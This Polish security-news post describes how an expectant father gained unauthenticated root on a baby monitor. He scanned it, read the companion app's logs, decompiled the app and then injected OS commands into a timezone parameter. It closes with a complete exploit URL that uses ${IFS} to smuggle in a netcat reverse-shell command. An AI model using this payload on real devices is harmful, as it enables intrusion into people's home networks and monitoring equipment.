Na świat ma przyjść nowy człowiek. Jak na dobrego tatę przystało zakupił „monitoring dzidziusia”. A następnie zdobył na nim nieuwierzytelnionego roota :)

Kilka chwil temu opisywaliśmy przykład hackowania lamp akwariowych, teraz kolej na taki sprzęt:

Przyszły tata, zakupił sprzęt, zakasał rękawy i przeszedł do dzieła. Najpierw skanowanie urządzenia nmapem:

[przy okazji warto pamiętać, że nmap i tak skanuje domyślnie 1000 najpopularniejszych portów, więc przełącznik: –top-ports 1000 jest zbędny]

Co ciekawego znajdowało się na tych portach?

• 404 Not Found
• Unsupported command
• Pusta strona

W skrócie – na razie nic sensownego.

Tato spróbował więc czegoś innego – appka androidowa (zapewne łączy się ona z „bazą”, więc może poznamy jakąś ciekawą komunikację, którą będzie się dało wykorzystać?)

Normalnie appkę można by przepuścić przez proxy (np. Burp Suite), ale tutaj nawet to nie było konieczne. Badacz użył narzędzia logcat żeby wydobyć logi z appki. Voila:

Widać tutaj przykładową komunikację do portu 80. No dobra, ale czy są jakieś inne, ciekawe wartości parametru command?

Na to pytanie odpowiedziała dekompilacja appki (plik apk). Tutaj przydatne mogą być np. narzędzia: dex2jar oraz JD-GUI (badacz użył: CFR) Teraz trochę analizy i mamy listę możliwych wartości 'command’:

Teraz można próbować ręcznie wstrzyknąć polecenie w systemie operacyjnym (trochę metodą prób i błędów). Udało się dla set_curity_timezone Czy Widzicie ten $(reboot) ?

Na koniec pozostało już tylko odpalenie reverse shella (z wykorzystaniem zainstalowanego domyślnie na elektronicznej niani netcata). ${IFS} – zastępuje spacje, bo tych nie dało się wysłać do serwera (to znaczy do niani ;)

http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)

~Michał Sajdak